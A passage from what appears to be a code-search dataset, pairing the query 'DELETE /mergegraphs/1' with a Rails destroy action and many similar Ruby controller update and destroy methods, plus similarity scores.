"def update\n @graph_point = GraphPoint.find(params[:id])\n\n respond_to do |format|\n if @graph_point.update_attributes(params[:graph_point])\n format.html { redirect_to(@graph_point, :notice => 'Graph point was successfully updated.') }\n format.xml { head :ok }\n format.json { render :json => @graph_point }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @graph_point.errors, :status => :unprocessable_entity }\n format.json { render :json => @graph_point.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @group_edges = args[:group_edges] if args.key?(:group_edges)\n @identities = args[:identities] if args.key?(:identities)\n end",
"def update_nodegroup(nodegroup_json, nodegroup_id)\n nodemgr_rest_call(\"POST\", \"classifier\", \"groups\", $credentials, id=nodegroup_id, nodegroup_json)\nend",
"def update\n respond_to do |format|\n if @tree_plot.update(tree_plot_params)\n # format.html { redirect_to @tree_plot, notice: 'Tree plot was successfully updated.' }\n format.html { redirect_to tree_plots_path, notice: 'Tree plot was successfully updated.' }\n format.json { render :show, status: :ok, location: @tree_plot }\n else\n format.html { render :edit }\n format.json { render json: @tree_plot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @connection_group = ConnectionGroup.find(params[:id])\n\n respond_to do |format|\n if @connection_group.update_attributes(params[:connection_group])\n format.html { redirect_to @connection_group, notice: 'Connection group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @connection_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end",
"def update\n @badge = Badge.find(params[:id])\n respond_to do |format|\n if @badge.update_attributes(params[:badge])\n flash[:notice] = 'Badge was successfully updated.'\n format.html { redirect_to organization_segment_badge_url(@organization,@segment, @badge) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @badge.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @group.update(group_params)\n format.json { head :no_content }\n else\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n update_annotations(params[:tag_list], @model)\n update_sharing_policies @model\n update_relationships(@model, params)\n respond_to do |format|\n if @model.update(model_params)\n flash[:notice] = \"#{t('model')} metadata was successfully updated.\"\n format.html { redirect_to model_path(@model) }\n format.json {render json: @model, include: [params[:include]]}\n else\n format.html { render action: 'edit' }\n format.json { render json: json_api_errors(@model), status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @workflow.update(workflow_params)\n format.json { render json: @workflow, :layout => false }\n else\n #format.json { render json: @workflow.errors, status: :unprocessable_entity, :layout => false }\n end\n end\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def update\n\n if @group.update(group_params)\n head :no_content\n else\n render json: @group.errors, status: :unprocessable_entity\n end\n end",
"def update\n logger.info \"Put parameters: #{params.to_json}\"\n @group = Group.find(params[:id])\n\n if @group.update_attributes(params[:group])\n head :no_content\n else\n render json: @group.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @datasource.update(form_params)\n format.json { render json: { datasources: @datasource }, status: :ok, location: @datasource }\n else\n format.json { render json: @datasource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @group_adj.update(group_adj_params)\n format.html { redirect_to @group_adj, notice: 'Group adj was successfully updated.' }\n format.json { render :show, status: :ok, location: @group_adj }\n else\n format.html { render :edit }\n format.json { render json: @group_adj.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n render json: @facebook_pixel.errors unless @facebook_pixel.update(facebook_pixel_params)\n end",
"def update\n respond_to do |format|\n if @branch.update(branch_params.map{|k,v| {k.to_sym => v.to_s}.except!(:contact_attributes,:address_attributes) }.reduce({}, :merge)) && @branch.address.update(branch_params[:address_attributes]) && @branch.contact.update(branch_params[:contact_attributes])\n format.html { redirect_to @branch, notice: 'Branch was successfully updated.' }\n format.json { render :show, status: :ok, location: @branch }\n else\n format.html { render :edit }\n format.json { render json: @branch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def merge\n if request.get?\n #just show form\n render :layout => 'application'\n elsif request.put?\n @dest_layer = Layer.find(params[:dest_id])\n \n @layer.merge(@dest_layer.id)\n render :text => t('.flash')\n end\n end",
"def update\n respond_to do |format|\n\n format.json { render json: Axis.find(params[:id]).update( name: params[:name]) }\n end\n\n # end\n end",
"def update\n respond_to do |format|\n if @brave_burst.update(brave_burst_params)\n format.html { redirect_to @brave_burst, notice: 'Brave burst was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @brave_burst.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @question.status == 'published' || @question.version_independent_id != question_params[:version_independent_id]\n render json: @question.errors, status: :unprocessable_entity\n else\n update_response_sets(params)\n @question.update_concepts('Question')\n @question.updated_by = current_user\n if @question.update(question_params)\n @question.groups.each do |group|\n @question.add_to_group(group.id)\n end\n render :show, status: :ok, location: @question\n else\n @categories = Category.all\n render json: @question.errors, status: :unprocessable_entity\n end\n end\n end",
"def update\n respond_to do |format|\n if @goannotation.update(goannotation_params)\n format.html { redirect_to @goannotation, notice: 'Goannotation was successfully updated.' }\n format.json { render :show, status: :ok, location: @goannotation }\n else\n format.html { render :edit }\n format.json { render json: @goannotation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def batch_update(triples_by_graph)\n path = \"/#{CGI.escape(@repo)}\"\n path = URI.join(\"#{@host}/\", path[1..-1]).path\n\n del_params = triples_by_graph.keys.\n map { |graph| val = CGI.escape(\"<#{graph}>\"); \"context=#{val}\" }.\n join(\"&\")\n Rails.logger.debug(\"RDF-Sync: del_params: #{del_params}\")\n res = http_request(\"DELETE\", \"#{path}?#{del_params}\")\n return false unless res.code == \"204\"\n\n data = triples_by_graph.map do |graph_uri, ntriples|\n \"<#{graph_uri}> {\\n#{ntriples}\\n}\\n\"\n end.join(\"\\n\\n\")\n Rails.logger.debug(\"RDF-Sync: data: #{data}\")\n return false\n res = http_request(\"POST\", path, data,\n { \"Content-Type\" => \"application/x-trig\" })\n return res.code == \"204\"\n end",
"def update\n respond_to do |format|\n if @tag_relationship.update(tag_relationship_params)\n format.html { redirect_to @tag_relationship, notice: 'Tag relationship was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tag_relationship.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @gnode = Gnode.find(params[:id])\n\n respond_to do |format|\n if @gnode.update_attributes(params[:gnode])\n format.html { redirect_to @gnode, notice: 'Gnode was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gnode.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @patron_merge.update_attributes(params[:patron_merge])\n flash[:notice] = t('controller.successfully_updated', :model => t('activerecord.models.patron_merge'))\n format.html { redirect_to(@patron_merge) }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @patron_merge.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @admin_merge = Admin::Merge.new(merge_params)\n\n respond_to do |format|\n if @admin_merge.save\n format.html { redirect_to @admin_merge, notice: 'Merge was successfully created.' }\n format.json { render action: 'show', status: :created, location: @admin_merge }\n else\n format.html { render action: 'new' }\n format.json { render json: @admin_merge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @tag.update(tag_params)\n render json: @tag\n else\n render json: @tag.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @group.update(params[:group])\n format.html { redirect_to [@hub, @group], :notice => 'Group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update\n budgets = update_budgets(params[:budgets])\n\n render json: budgets, status: :ok\n end",
"def update\n @agency = Agency.find(params[:id])\n\n if @agency.update(agency_params)\n #head :no_content\n render json: @agency, status: :accepted, location: @agency #sera? status accepted? \n else\n render json: @agency.errors, status: :unprocessable_entity\n end\n end",
"def update\n #@title = @header = \"Изменение торговой марки\"\n respond_to do |format|\n if @boat_series.update(boat_series_params)\n #format.html { redirect_to @boat_series, notice: 'Торговая марка успешно изменена' }\n format.json { render json: @boat_series.to_json }\n else\n #format.html { render :edit }\n format.json { render json: @boat_series.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @group_comment = GroupComment.find(params[:id])\n\n if @group_comment.update(group_comment_params)\n head :no_content\n else\n render json: @group_comment.errors, status: :unprocessable_entity\n end\n end",
"def update\r\n respond_to do |format|\r\n if @agroup.update(agroup_params)\r\n format.html { redirect_to @agroup, notice: 'Agroup was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @agroup.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n respond_to do |format|\n if @protocol_relationship.update(protocol_relationship_params)\n format.html { redirect_to @protocol_relationship, notice: 'Protocol relationship was successfully updated.' }\n format.json { render :show, status: :ok, location: @protocol_relationship }\n else\n format.html { render :edit }\n format.json { render json: @protocol_relationship.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @json_schemas = args[:json_schemas] if args.key?(:json_schemas)\n @schema = args[:schema] if args.key?(:schema)\n end",
"def update\n respond_to do |format|\n if @combine.update(combine_params)\n format.html { redirect_to @combine, notice: 'Combine was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @combine.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @aggregate = Aggregate.find(params[:id])\n=begin\n keys = params[\"aggregate\"][\"metrics\"] \n\n metrics = @aggregate.metrics\n\n keys.each_value { |key|\n metric = Metric.find(:first, :conditions => [\"key = ?\", key])\n metrics << metric unless metrics.include? metric\n }\n=end\n\n respond_to do |format|\n if @aggregate.update_attributes(params[:aggregate])\n format.html { redirect_to(@aggregate, :notice => 'Aggregate was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @aggregate.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @small_group.update(small_group_params)\n format.html { redirect_to @small_group, notice: 'Small group was successfully updated.' }\n format.json { render :show, status: :ok, location: @small_group }\n else\n format.html { render :edit }\n format.json { render json: @small_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @generic_monograph.update(generic_monograph_params)\n format.html { redirect_to @generic_monograph, notice: 'Combination dose was successfully updated.' }\n format.json { render :show, status: :ok, location: @generic_monograph }\n else\n format.html { render :edit }\n format.json { render json: @generic_monograph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def UpdateGroup params = {}\n \n APICall(path: 'groups.json',method: 'PUT',payload: params.to_json)\n \n end",
"def update\n respond_to do |format|\n if @semifinalgroup.update(semifinalgroup_params)\n format.html { redirect_to edit_semifinalgroup_path, notice: 'Semifinalgroup was successfully updated.' }\n format.json { render :show, status: :ok, location: @semifinalgroup }\n else\n format.html { render :edit }\n format.json { render json: @semifinalgroup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @branch = Branch.friendly.find(params[:id])\n respond_to do |format|\n if @branch.update(branch_params)\n format.html { redirect_to @branch, notice: 'Branch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @branch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @circle_id = args[:circle_id] if args.key?(:circle_id)\n @owner_gaia_id = args[:owner_gaia_id] if args.key?(:owner_gaia_id)\n @required_consistency_timestamp_usec = args[:required_consistency_timestamp_usec] if args.key?(:required_consistency_timestamp_usec)\n end",
"def update!(**args)\n @circle_id = args[:circle_id] if args.key?(:circle_id)\n @owner_gaia_id = args[:owner_gaia_id] if args.key?(:owner_gaia_id)\n @required_consistency_timestamp_usec = args[:required_consistency_timestamp_usec] if args.key?(:required_consistency_timestamp_usec)\n end",
"def set_merge\n @merge = Merge.find(params[:id])\n end",
"def update\n @work_merge_list = WorkMergeList.find(params[:id])\n\n respond_to do |format|\n if @work_merge_list.update_attributes(params[:work_merge_list])\n if params[:mode] == 'merge'\n if selected_work = Work.find(params[:selected_work_id]) rescue nil\n @work_merge_list.merge_works(selected_work)\n flash[:notice] = ('Works are merged successfully.')\n else\n flash[:notice] = ('Specify work id.')\n redirect_to work_merge_list_url(@work_merge_list)\n return\n end\n else\n flash[:notice] = t('controller.successfully_updated', :model => t('activerecord.models.work_merge_list'))\n end\n format.html { redirect_to(@work_merge_list) }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @work_merge_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @go_slim = GoSlim.find(params[:id])\n\n respond_to do |format|\n if @go_slim.update_attributes(params[:go_slim])\n format.html { redirect_to @go_slim, notice: 'Go slim was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @go_slim.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @expression_merge_list = ExpressionMergeList.find(params[:id])\n\n respond_to do |format|\n if @expression_merge_list.update_attributes(params[:expression_merge_list])\n if params[:mode] == 'merge'\n selected_expression = Expression.find(params[:selected_expression_id]) rescue nil\n if selected_expression\n @expression_merge_list.merge_expressions(selected_expression)\n flash[:notice] = ('Expressions are merged successfully.')\n else\n flash[:notice] = ('Specify expression id.')\n redirect_to expression_merge_list_url(@expression_merge_list)\n return\n end\n else\n flash[:notice] = t('controller.successfully_updated', :model => t('activerecord.models.expression_merge_list'))\n end\n format.html { redirect_to(@expression_merge_list) }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @expression_merge_list.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_with []\n end",
"def update\n # byebug\n respond_to do |format|\n if @chart.update(chart_params)\n format.html { redirect_to @chart, notice: 'Chart was successfully updated.' }\n format.json {render :show, status: :ok, location: @chart}\n else\n format.html { render action: \"edit\" }\n format.json { render json: @chart.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\t@auto_scaling_trigger = AutoScalingTrigger.find(params[:id], :include => [ :auto_scaling_group ])\n\t\t@auto_scaling_group = @auto_scaling_trigger.auto_scaling_group\n\t\tast_params = params[:auto_scaling_trigger]\n\t\t\n\t\tunless ast_params.nil?\n\t\t\tast_params.each do |k,v|\n\t\t\t\tast_params[k] = v.chomp\n\t\t\tend\n\t\tend\n\t\t\n\t\trespond_to do |format|\n\t\t\tif @auto_scaling_trigger.update_attributes(ast_params)\n\t\t\t\tp = @auto_scaling_group\n\t\t\t\to = @auto_scaling_trigger\n\t\t\t\tAuditLog.create_for_parent(\n\t\t\t\t\t:parent => p,\n\t\t\t\t\t:auditable_id => o.id,\n\t\t\t\t\t:auditable_type => o.class.to_s,\n\t\t\t\t\t:auditable_name => o.name,\n\t\t\t\t\t:author_login => current_user.login,\n\t\t\t\t\t:author_id => current_user.id,\n\t\t\t\t\t:summary => \"updated '#{o.name}'\",\n\t\t\t\t\t:changes => o.tracked_changes,\n\t\t\t\t\t:force => false\n\t\t\t\t)\n\t\t\telse\n\t\t\t\t@error_messages = @auto_scaling_trigger.errors.collect{ |attr,msg| \"#{attr.humanize} - #{msg}\" }\n\t\t\t\tflash[:error] = @error_messages.join('<br/>')\n\t\t\tend\n\t\t\tformat.json { render :json => @auto_scaling_trigger }\n\t\tend\n\tend",
"def update\n respond_to do |format|\n if @branch.update(branch_params)\n format.html { redirect_to @branch, notice: 'Branch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @branch.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.64218163",
"0.64172655",
"0.6268077",
"0.6160597",
"0.6127228",
"0.60015076",
"0.599179",
"0.59568465",
"0.59373266",
"0.5828153",
"0.5791312",
"0.5738112",
"0.5738001",
"0.57048553",
"0.57011706",
"0.56929356",
"0.5603972",
"0.5590948",
"0.5532756",
"0.55309254",
"0.54936063",
"0.54746616",
"0.54673713",
"0.5410698",
"0.53809804",
"0.5379304",
"0.5379086",
"0.53730893",
"0.5327351",
"0.5320419",
"0.52935565",
"0.5292486",
"0.527611",
"0.527312",
"0.52720934",
"0.52688897",
"0.5258664",
"0.5251197",
"0.5243053",
"0.52393156",
"0.5232795",
"0.5216172",
"0.521436",
"0.5193745",
"0.5188197",
"0.5164497",
"0.5161635",
"0.51552176",
"0.5155195",
"0.5146891",
"0.51458526",
"0.5115042",
"0.51022977",
"0.50978625",
"0.5081428",
"0.5073589",
"0.5072448",
"0.507218",
"0.5065729",
"0.5055745",
"0.5052605",
"0.50423944",
"0.5041816",
"0.50262976",
"0.50258833",
"0.5022552",
"0.5018864",
"0.5015754",
"0.50144416",
"0.5013739",
"0.50073516",
"0.5006179",
"0.50044435",
"0.50016195",
"0.50011915",
"0.4998901",
"0.4996171",
"0.49940842",
"0.49930656",
"0.49910015",
"0.49871045",
"0.49804777",
"0.49767873",
"0.4975644",
"0.4969093",
"0.4966854",
"0.49642637",
"0.4958287",
"0.4956648",
"0.49556032",
"0.49540976",
"0.49540976",
"0.4951918",
"0.49459913",
"0.49440694",
"0.49432677",
"0.49426535",
"0.49393994",
"0.49388802",
"0.49385014"
] |
0.710164
|
0
|
DELETE /mergegraphs/1 DELETE /mergegraphs/1.json
|
def destroy
@mergegraph.destroy
respond_to do |format|
format.html { redirect_to admin_mergegraph_url }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @graph.destroy\n\n respond_to do |format|\n format.html { redirect_to graphs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @graph.destroy\n respond_to do |format|\n format.html { redirect_to graphs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_graph.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_graphs_url, notice: 'Graph was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @graph_membership_graph = GraphMembershipGraph.find(params[:id])\n @graph_membership_graph.destroy\n\n respond_to do |format|\n format.html { redirect_to graph_membership_graphs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @series_statement_merge.destroy\n\n respond_to do |format|\n format.html { redirect_to(series_statement_merges_url) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @series_statement_merge.destroy\n\n respond_to do |format|\n format.html { redirect_to(series_statement_merges_url) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @graph = Graph.find(params[:id])\n @graph.destroy\n \n Action.log :controller => params[:controller], :action => params[:action], :target_id => params[:id], :user => current_user\n\n respond_to do |format|\n format.html { redirect_to :root, notice: 'Graph was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @conditioninfograph = Conditioninfograph.find(params[:id])\n @conditioninfograph.destroy\n\n respond_to do |format|\n format.html { redirect_to conditioninfographs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gauge_graph.destroy\n respond_to do |format|\n format.html { redirect_to gauge_graphs_url, notice: 'Gauge graph was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n success = ActiveRecord::Base.transaction do\n @graph.destroy\n @graph = $mfclient.delete_graph(@graph.path) rescue nil\n end\n respond_to do |format|\n format.html { redirect_to graphs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_merge.destroy\n respond_to do |format|\n format.html { redirect_to admin_merges_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bar_graph.destroy\n respond_to do |format|\n format.html { redirect_to bar_graphs_url, notice: 'Bar graph was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n @connection.call('GRAPH.DELETE', @graphname)\n rescue Redis::CommandError => e\n raise DeleteError, e\n end",
"def clear_graph(graphname)\n update(\"WITH <#{graphname}> DELETE { ?s ?p ?o } WHERE { ?s ?p ?o .}\")\nend",
"def destroy\n @merge.destroy\n respond_to do |format|\n format.html { redirect_to merges_url, notice: 'Merge was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @patron_merge.destroy\n\n respond_to do |format|\n format.html { redirect_to(patron_merges_url) }\n format.json { head :no_content }\n end\n end",
"def destroy\n expire_page :action => :index\n expire_page :action => :show\n \n @ganglia_graph = GangliaGraph.get(params[:id])\n @ganglia_graph.destroy\n\n respond_to do |format|\n format.html { redirect_to(ganglia_graphs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @dataload_ga = DataloadGa.find(params[:id])\n @dataload_ga.destroy\n\n respond_to do |format|\n format.html { redirect_to dataload_gas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @connection_group = ConnectionGroup.find(params[:id])\n @connection_group.destroy\n\n respond_to do |format|\n format.html { redirect_to connection_groups_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expression_merge_list = ExpressionMergeList.find(params[:id])\n @expression_merge_list.destroy\n\n respond_to do |format|\n format.html { redirect_to(expression_merge_lists_url) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @chart = Chart.find(params[:id])\n @chart.chartnodes.destroy_all\n @chart.destroy\n\n respond_to do |format|\n format.html { redirect_to charts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @graphium_configuration.destroy\n respond_to do |format|\n format.html { redirect_to graphium_configurations_url, notice: 'Configuration was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n # @group = @hub.groups.get(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to hub_groups_url }\n format.json { head :no_content }\n end\n end",
"def orchio_delete_graph(kind, to_collection, to_key)\n response = client.send_request(\n :delete,\n inst_args(\n kind: kind,\n to_collection: to_collection,\n to_key: to_key,\n path: \"?purge=true\"\n ))\n orchio_status response, 204\n end",
"def destroy\n @badge = Badge.find(params[:id])\n @badge.destroy\n\n respond_to do |format|\n format.html { redirect_to(organization_segment_badges_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @aggregate_metadatum = AggregateMetadatum.find(params[:id])\n @aggregate_metadatum.destroy\n\n respond_to do |format|\n format.html { redirect_to aggregate_metadata_url }\n format.json { head :no_content }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @combine.destroy\n respond_to do |format|\n format.html { redirect_to combines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @group_adj.destroy\n respond_to do |format|\n format.html { redirect_to group_adjs_url, notice: 'Group adj was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @git_datum = GitDatum.find(params[:id])\n @git_datum.destroy\n\n respond_to do |format|\n format.html { redirect_to git_data_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @group = Group.find_by_param(params[:id])\n @group.tuners.clear\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @gnode = Gnode.find(params[:id])\n @gnode.destroy\n\n respond_to do |format|\n format.html { redirect_to gnodes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gpath = Gpath.find(params[:id])\n @gpath.destroy\n\n respond_to do |format|\n format.html { redirect_to gpaths_url }\n format.json { head :no_content }\n end\n end",
"def delete_analysis(analysis_id); rest_delete(\"#{link('analyses')}/#{analysis_id}\"); nil; end",
"def destroy\n @jido_grp_rel = JidoGrpRel.find(params[:id])\n @jido_grp_rel.destroy\n\n respond_to do |format|\n format.html { redirect_to(jido_grp_rels_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @graphium_city.destroy\n respond_to do |format|\n format.html { redirect_to graphium_cities_url, notice: 'City was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bridge_project_typology.destroy\n respond_to do |format|\n format.html { redirect_to bridge_project_typologies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @congestion = Congestion.find(params[:id])\n @congestion.destroy\n\n respond_to do |format|\n format.html { redirect_to congestions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @spatial_coverages = SpatialCoverages.find(params[:id])\n @spatial_coverages.destroy\n\n respond_to do |format|\n format.html { redirect_to spatial_coverage_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @analysis_group.destroy\n respond_to do |format|\n format.html { redirect_to analysis_groups_url, notice: 'Analysis group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bodega.destroy\n respond_to do |format|\n format.html { redirect_to bodegas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @brave_burst.destroy\n respond_to do |format|\n format.html { redirect_to brave_bursts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @edge = Edge.find(params[:id])\n @edge.destroy\n\n respond_to do |format|\n format.html { redirect_to edges_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @branch.destroy\n\n respond_to do |format|\n format.html { redirect_to branches_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n # if authorise(request)\n operation = params[:operation]\n case operation\n when 'remove_vertex'\n delete_vertex(params[:id])\n when 'disconnect_vertex'\n delete_connection(params[:from_vertex_id], params[:to_vertex_id])\n else\n render json: { status: 'FAILED', message: 'Operation does not exist' }, status: :bad_request\n end\n # else\n # render json: { status: 'FAILED', message: 'Unauthorized' }, status: 401\n # end\n end",
"def destroy\n @grep_multi.destroy\n respond_to do |format|\n format.html { redirect_to grep_multis_url, notice: 'Grep multi was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @node_incident = NodeIncident.find(params[:id])\n @node_incident.destroy\n\n respond_to do |format|\n format.html { redirect_to node_incidents_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @group_stat = GroupStat.find(params[:id])\n @group_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to group_stats_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @branch = Branch.find(params[:id])\n @parentTitle = Branch.find(params[:id]).uid\n Branch.where(parent: @parentTitle).delete_all\n @branch.destroy\n render :json => @branch.to_json\n end",
"def destroy\n @branch.destroy\n respond_to do |format|\n format.html { redirect_to branches_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @graph_point = GraphPoint.find(params[:id])\n @graph_point.destroy\n\n respond_to do |format|\n format.html { redirect_to(graph_points_url) }\n format.xml { head :ok }\n format.json { render :nothing => true }\n end\n end",
"def destroy\n @green = Green.find(params[:id])\n @green.destroy\n\n respond_to do |format|\n format.html { redirect_to scaffold_greens_url }\n format.json { head :ok }\n end\n end",
"def destroy\r\n @branch.destroy\r\n respond_to do |format|\r\n format.html { redirect_to backend_shop_branches_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @emerge = Emerge.find(params[:id])\n @emerge.destroy\n\n respond_to do |format|\n format.html { redirect_to(emerges_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @branch_route.destroy\n respond_to do |format|\n format.html { redirect_to branch_routes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_social_link_segment.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_social_link_segments_url, notice: 'Social link segment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pool.destroy\n respond_to do |format|\n format.html { redirect_to aggregators_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @agroup.destroy\r\n respond_to do |format|\r\n format.html { redirect_to agroups_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @aggregate = Aggregate.find(params[:id])\n @aggregate.destroy\n\n respond_to do |format|\n format.html { redirect_to(aggregates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @roadblock.destroy\n respond_to do |format|\n format.html { redirect_to \"/roadblocks-dash\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @diagram = Diagram.find(params[:id])\n @diagram.destroy\n\n respond_to do |format|\n format.html { redirect_to(diagrams_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @hub.destroy\n\n respond_to do |format|\n format.html { redirect_to hubs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @operations_check = OperationsCheck.find(params[:id])\n @operations_check.destroy\n\n respond_to do |format|\n format.html { redirect_to operations_checks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n identifier = @analysis_configuration.identifier\n @analysis_configuration.destroy\n respond_to do |format|\n format.html { redirect_to analysis_configurations_url, notice: \"'#{identifier}' was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hdfs_path = HdfsPath.find(params[:id])\n @hdfs_path.destroy\n\n respond_to do |format|\n format.html { redirect_to hdfs_paths_url }\n format.json { head :ok }\n end\n end",
"def destroy\n b.node.destroy\n respond_to do |format|\n format.html { redirect_to nodes_url, notice: 'Node was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n connection = Connection.find(params[:id])\n group = connection.group\n render json: { success: connection.destroy, group_id: group.id, members_count: group.reload.connections.size, alert_message: I18n.t('connections.alerts.alert', group: group.name) }\n end",
"def destroy\n @conflict.destroy\n respond_to do |format|\n format.html { redirect_to conflicts_url, notice: 'Conflict was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tree_plot.destroy\n respond_to do |format|\n format.html { redirect_to tree_plots_url, notice: 'Tree plot was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
